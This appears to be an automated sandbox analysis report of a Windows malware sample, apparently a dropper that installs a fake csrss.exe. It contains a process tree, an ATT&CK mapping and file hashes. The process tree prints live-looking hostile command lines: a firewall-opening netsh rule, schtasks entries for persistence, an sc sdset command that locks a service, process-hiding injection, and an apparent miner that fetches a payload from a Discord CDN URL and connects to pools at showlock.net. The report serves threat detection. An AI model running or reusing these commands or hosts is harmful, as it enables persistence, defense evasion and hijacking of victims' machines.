PID 2216 wrote to memory of 3124	2216	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe	79
PID 2216 wrote to memory of 3124	2216	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe	79
PID 2216 wrote to memory of 3124	2216	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe	79
PID 2216 wrote to memory of 4268	2216	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe	81
PID 2216 wrote to memory of 4268	2216	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe	81
PID 4268 wrote to memory of 364	4268	cmd.exe	83
PID 4268 wrote to memory of 364	4268	cmd.exe	83
PID 2216 wrote to memory of 3148	2216	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe	84
PID 2216 wrote to memory of 3148	2216	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe	84
PID 2216 wrote to memory of 3148	2216	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe	84
PID 2216 wrote to memory of 1868	2216	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe	86
PID 2216 wrote to memory of 1868	2216	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe	86
PID 2216 wrote to memory of 1868	2216	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe	86
PID 2216 wrote to memory of 4740	2216	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe	88
PID 2216 wrote to memory of 4740	2216	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe	88
PID 2216 wrote to memory of 4740	2216	82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe	88
PID 4740 wrote to memory of 1348	4740	csrss.exe	107
PID 4740 wrote to memory of 1348	4740	csrss.exe	107
PID 4740 wrote to memory of 1348	4740	csrss.exe	107
PID 4740 wrote to memory of 4260	4740	csrss.exe	96
PID 4740 wrote to memory of 4260	4740	csrss.exe	96
PID 4740 wrote to memory of 4260	4740	csrss.exe	96
PID 4740 wrote to memory of 2160	4740	csrss.exe	98
PID 4740 wrote to memory of 2160	4740	csrss.exe	98
PID 4740 wrote to memory of 2160	4740	csrss.exe	98
PID 4740 wrote to memory of 1116	4740	csrss.exe	100
PID 4740 wrote to memory of 1116	4740	csrss.exe	100
PID 808 wrote to memory of 1348	808	windefender.exe	107
PID 808 wrote to memory of 1348	808	windefender.exe	107
PID 808 wrote to memory of 1348	808	windefender.exe	107
PID 1348 wrote to memory of 4280	1348	cmd.exe	108
PID 1348 wrote to memory of 4280	1348	cmd.exe	108
PID 1348 wrote to memory of 4280	1348	cmd.exe	108
PID 4740 wrote to memory of 1604	4740	csrss.exe	110
PID 4740 wrote to memory of 1604	4740	csrss.exe	110
PID 4740 wrote to memory of 1604	4740	csrss.exe	110
PID 4740 wrote to memory of 2888	4740	csrss.exe	112
PID 4740 wrote to memory of 2888	4740	csrss.exe	112
PID 4740 wrote to memory of 2888	4740	csrss.exe	112
PID 4740 wrote to memory of 3828	4740	csrss.exe	114
PID 4740 wrote to memory of 3828	4740	csrss.exe	114
PID 4740 wrote to memory of 3828	4740	csrss.exe	114
PID 4740 wrote to memory of 3120	4740	csrss.exe	116
PID 4740 wrote to memory of 3120	4740	csrss.exe	116
PID 4740 wrote to memory of 3120	4740	csrss.exe	116
PID 4740 wrote to memory of 2116	4740	csrss.exe	118
PID 4740 wrote to memory of 2116	4740	csrss.exe	118
PID 4740 wrote to memory of 2116	4740	csrss.exe	118
PID 4740 wrote to memory of 5000	4740	csrss.exe	120
PID 4740 wrote to memory of 5000	4740	csrss.exe	120
PID 4740 wrote to memory of 5000	4740	csrss.exe	120

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
"C:\Users\Admin\AppData\Local\Temp\82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4604
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell -nologo -noprofile
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3460
- C:\Users\Admin\AppData\Local\Temp\82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe
  "C:\Users\Admin\AppData\Local\Temp\82c53bcc0f9fd22a5e2e6b6d1e5dd7e6af6d6b538d6e2c7c100ac97cdda31d43.exe"
  2⤵
  - Windows security bypass
  - Windows security modification
  - Adds Run key to start application
  - Checks for VirtualBox DLLs, possible anti-VM trick
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2216
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3124
- - C:\Windows\System32\cmd.exe
    C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4268
  - - C:\Windows\system32\netsh.exe
      netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
      4⤵
      Modifies Windows Firewall
      PID:364
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3148
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -nologo -noprofile
    3⤵
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1868
- - C:\Windows\rss\csrss.exe
    C:\Windows\rss\csrss.exe
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - Manipulates WinMonFS driver.
    - Drops file in Windows directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4740
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1348
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      Creates scheduled task(s)
      PID:3940
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /delete /tn ScheduledUpdate /f
      4⤵
      PID:2376
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4260
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2160
  - - C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      PID:1116
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
      4⤵
      Creates scheduled task(s)
      PID:3156
  - - C:\Windows\windefender.exe
      "C:\Windows\windefender.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:808
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1348
      - C:\Windows\SysWOW64\sc.exe
        
        sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
        6⤵
        Launches sc.exe
        Suspicious use of AdjustPrivilegeToken
        
        PID:4280
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      Suspicious use of AdjustPrivilegeToken
      PID:1604
  - - C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe -xor=al2xoqueel0She4t -m=https://cdn.discordapp.com/attachments/1225871855328559147/1225878907014615161/kVYazCOZSwqudV?ex=6622bbb3&is=661046b3&hm=c80160577fcc82f0e337c537bdd214d60583ed75bb187a016d90f94471fc09b0& -pool tls://showlock.net:40001 -pool tls://showlock.net:443 -pool tcp://showlock.net:80
      4⤵
      Executes dropped EXE
      PID:2888
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      Suspicious use of AdjustPrivilegeToken
      PID:3828
  - - C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
      4⤵
      Executes dropped EXE
      Modifies data under HKEY_USERS
      PID:3120
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -nologo -noprofile
      4⤵
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      Suspicious use of AdjustPrivilegeToken
      PID:2116
  - - C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
      C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
      4⤵
      Executes dropped EXE
      PID:5000

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:4424

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_ak0wu1nz.vxh.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ak0wu1nz.vxh.ps1
Size 1B
SHA256 6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
MD5 c4ca4238a0b923820dcc509a6f75849b
SHA1 356a192b7913b04c54574d18c28d46e6395428ab
SHA512 4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
MD5 SHA1 SHA512

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1bf850b4d9587c1017a75a47680584c4.exe

Path C:\Users\Admin\AppData\Local\Temp\csrss\1bf850b4d9587c1017a75a47680584c4.exe
Size 2.0MB
SHA256 ac470c2fa05a67dd03cdc427e9957e661cd0ec7aecd9682ddb0b32c5cfc18955
MD5 1bf850b4d9587c1017a75a47680584c4
SHA1 75cd4738ffc07f203c3f3356bc946fdd0bcdbe19
SHA512 ed57be8c5a982bcbf901c2b035eb010e353508e7c7df338adc6e5c307e94427645e5f5ec28667fd861420b9411b4ade96ea6987519ed65e6c1d905b6eadfce08
SSDEEP 49152:UELEoxcmAny6Zh9DzmwJe/sKomVVE0zXlKSQjYU:lEoxcpnjPe/xJ7jQ
MD5 SHA1 SHA512 SSDEEP

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713674d5e968cbe2102394be0b2bae6f.exe

Path C:\Users\Admin\AppData\Local\Temp\csrss\713674d5e968cbe2102394be0b2bae6f.exe
Size 2.8MB
SHA256 f724b2849e7dc38bf62114c11092020073bea509e2bc57dea7a94a2fc9c23057
MD5 713674d5e968cbe2102394be0b2bae6f
SHA1 90ac9bd8e61b2815feb3599494883526665cb81e
SHA512 e9fba80067ac39d5907560abd044bb97dfcf078db2b6696ff4ca5990d9803a0c24b39d04e05682ac3dac8bc472e2ee0c573a46514e907f4d9673d4e7a76caafb
SSDEEP 49152:+uD5PvFC1ReeoK0HVcCkrk0VPnpjuiQgldnL0XeupsNLGj+wyVxT:7aH7oaCWk0NpDlquu4Gj+R
MD5 SHA1 SHA512 SSDEEP

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dcb505dc2b9d8aac05f4ca0727f5eadb.exe

Path C:\Users\Admin\AppData\Local\Temp\csrss\dcb505dc2b9d8aac05f4ca0727f5eadb.exe
Size 2.0MB
SHA256 61f9194b9f33611ec902f02755cf2e86f0bbc84c2102c6e5d1874f9bae78e551
MD5 dcb505dc2b9d8aac05f4ca0727f5eadb
SHA1 4f633edb62de05f3d7c241c8bc19c1e0be7ced75
SHA512 31e1fce9aca3b5d9afc85640af04b4542b9897f7d60b699e3153516137d9358d3c101cacc04e9e594e36b8622e9489cecf0dda210662563565d80fb9a33549b3
SSDEEP 49152:si+HNTN8UVx4N6h/0k711d70aozkXWAkTmQ2U2lT4:r8J8UVs6mLz9
MD5 SHA1 SHA512 SSDEEP

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injector.exe

Path C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
Size 281KB
SHA256 5de4e2b07a26102fe527606ce5da1d5a4b938967c9d380a3c5fe86e2e34aaaf1
MD5 d98e33b66343e7c96158444127a117f6
SHA1 bb716c5509a2bf345c6c1152f6e3e1452d39d50d
SHA512 705275e4a1ba8205eb799a8cf1737bc8ba686925e52c9198a6060a7abeee65552a85b814ac494a4b975d496a63be285f19a6265550585f2fc85824c42d7efab5
SSDEEP 3072:qbHszDaOJ8u2HHFIWr6e29kOnK7qFQ8wMii5I7kGvNjzMuszHshoY46bEydJ+dK9:SA3IlIA6e29vngqS8wMmuooh8z+8F
MD5 SHA1 SHA512 SSDEEP

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powershell.exe.log

Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 1bcd97396c83babfe6c5068ba590d7a3f8b70e72955a9d1e4070648e404cbf05
MD5 1c19c16e21c97ed42d5beabc93391fc5
SHA1 8ad83f8e0b3acf8dfbbf87931e41f0d664c4df68
SHA512 7d18776d8f649b3d29c182ff03efc6cea8b527542ee55304980f24577aae8b64e37044407776e220984346c3998ace5f8853afa58c8b38407482a728e9495e0c
MD5 SHA1 SHA512

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